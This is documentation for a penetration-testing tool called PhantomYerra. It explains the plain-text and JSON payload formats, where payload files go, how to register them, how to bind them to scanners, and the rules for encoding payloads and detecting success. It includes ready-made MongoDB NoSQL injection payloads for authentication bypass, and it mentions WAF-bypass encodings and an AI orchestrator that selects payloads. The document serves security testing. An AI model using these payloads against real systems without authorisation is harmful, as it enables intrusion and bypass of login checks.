Payload File Format

PhantomYerra supports two payload file formats: plain text (one payload per line) and JSON (structured with metadata).

Plain Text Format (.txt)

The simplest format. One payload per line. Lines starting with # are comments and are ignored.

# Custom NoSQL Injection Payloads # Target: MongoDB applications # Author: Your Name # Version: 1.0 {"$gt":""} {"$ne":""} {"$regex":".*"} {"$where":"1==1"} {"$or":[{},{"a":"a"}]} ' || '1'=='1 ';return true;var a=' {$gt: ""} [$ne]=1 [$regex]=.* {"username":{"$gt":""},"password":{"$gt":""}}

JSON Format (.json)

Structured format with metadata, categories, and processing instructions.

{ "name": "nosql_injection_mongodb", "display_name": "NoSQL Injection - MongoDB", "description": "Injection payloads targeting MongoDB query operators", "author": "Your Name", "version": "1.0.0", "category": "injection", "subcategory": "nosql", "target_technology": ["mongodb", "mongoose", "express"], "tags": ["nosql", "mongodb", "injection", "authentication-bypass"], "payloads": [ {"value": "{\"$gt\":\"\"}", "description": "Greater-than operator bypass", "context": "json_value"}, {"value": "{\"$ne\":\"\"}", "description": "Not-equal operator bypass", "context": "json_value"}, {"value": "{\"$regex\":\".*\"}", "description": "Regex match-all", "context": "json_value"}, {"value": "{\"$where\":\"1==1\"}", "description": "Server-side JS injection", "context": "json_value"}, {"value": "' || '1'=='1", "description": "String-based tautology", "context": "string_value"}, {"value": "[$ne]=1", "description": "Array operator injection", "context": "query_param"}, {"value": "[$regex]=.*", "description": "Regex via query param", "context": "query_param"} ], "processing": { "url_encode": false, "base64_encode": false, "prefix": "", "suffix": "" }, "expected_indicators": { "success": ["MongoError", "Mongo", "\\$err", "errmsg", "ok.*0"], "error": ["SyntaxError", "ValidationError"] } }

Where to Place Payload Files

Option A: Extension Directory

Place payload files inside your extension's payloads/ directory:

extensions/ my-custom-payloads/ __init__.py payloads/ nosql_mongodb.json graphql_introspection.txt jwt_manipulation.json ssti_jinja2.txt

Option B: Global Payloads Directory

Place payload files in PhantomYerra's global payloads directory for immediate availability without an extension wrapper:

data/ payloads/ custom/ nosql_mongodb.json graphql_introspection.txt

Files in data/payloads/custom/ are automatically loaded on startup and appear in the Intruder's payload list.

Registering Custom Payloads

If using the extension approach, register your payloads in __init__.py:

"""__init__.py — Register custom payload sets.""" from phantomyerra.sdk.payloads import PayloadSet, payload_registry from pathlib import Path PAYLOAD_DIR = Path(__file__).parent / "payloads" def register(): # Register each payload file for payload_file in PAYLOAD_DIR.glob("*.json"): pset = PayloadSet.from_file(payload_file) payload_registry.register(pset) for payload_file in PAYLOAD_DIR.glob("*.txt"): pset = PayloadSet.from_text_file( path=payload_file, category="custom", tags=["custom"], ) payload_registry.register(pset)

PayloadSet Class

AttributeTypeDescription
namestrUnique identifier (e.g., "nosql_mongodb")
display_namestrName shown in the UI dropdown
categorystrCategory for grouping: injection, xss, auth, traversal, fuzzing, custom
payloadslist[str]The actual payload strings
countintNumber of payloads (computed automatically)
tagslist[str]Searchable tags for filtering
target_technologylist[str]Technologies these payloads target (used by AI for context-aware selection)

Per-Scanner Payload Binding

You can bind specific payload sets to your custom scanner so they are automatically used when that scanner runs:

class MyCustomScanner(BaseToolAdapter): TOOL_NAME = "my_scanner" # ... other attributes ... # Bind specific payload sets to this scanner PAYLOAD_SETS = [ "nosql_mongodb", # Your custom payload set "sqli_generic", # Built-in SQLi payloads "auth_bypass", # Built-in auth bypass payloads ] async def scan(self, target, config): # Access bound payloads for pset_name in self.PAYLOAD_SETS: payloads = payload_registry.get(pset_name) for payload in payloads: # Test each payload against the target response = await self.send_payload(target, payload) if self.is_vulnerable(response): # Create finding with this payload as evidence ...

Payload Processing Rules

Define how payloads should be transformed before injection. Processing rules can be set at the payload set level or overridden per payload.

RuleDescriptionExample
url_encodeURL-encode the payload before insertion' OR 1=1 becomes %27%20OR%201%3D1
base64_encodeBase64-encode the payloadFor payloads injected into Base64-encoded parameters
double_url_encodeApply URL encoding twiceFor WAF bypass via double encoding
html_encodeHTML entity-encode the payloadFor injection into HTML attribute contexts
prefixPrepend a static string to every payloadAdd a closing tag before XSS payloads: ">
suffixAppend a static string to every payloadAdd a comment terminator: --
case_variationGenerate uppercase, lowercase, and mixed-case variantsFor case-insensitive filter bypass
null_byteAppend a null byte (%00) after the payloadFor null byte injection attacks

Expected Indicators

Define response patterns that indicate a payload was successful. The Intruder and automated scanners use these to flag positive results.

"expected_indicators": { "success": [ "MongoError", # MongoDB error message leaked "\\$err", # MongoDB internal error field "errmsg", # MongoDB error message field "ok.*0" # MongoDB operation failed response ], "error": [ "SyntaxError", # JavaScript syntax error (partial injection) "ValidationError" # Input validation caught the payload ], "timing_threshold_ms": 5000 # For time-based detection (response > 5s = positive) }

Indicator Types

Best Practices

AI integration: When the AI orchestrator is active, it reads your payload metadata (target_technology, tags, category) and selects the most relevant payloads for the detected technology stack. Well-documented payload sets get used more effectively by the AI engine.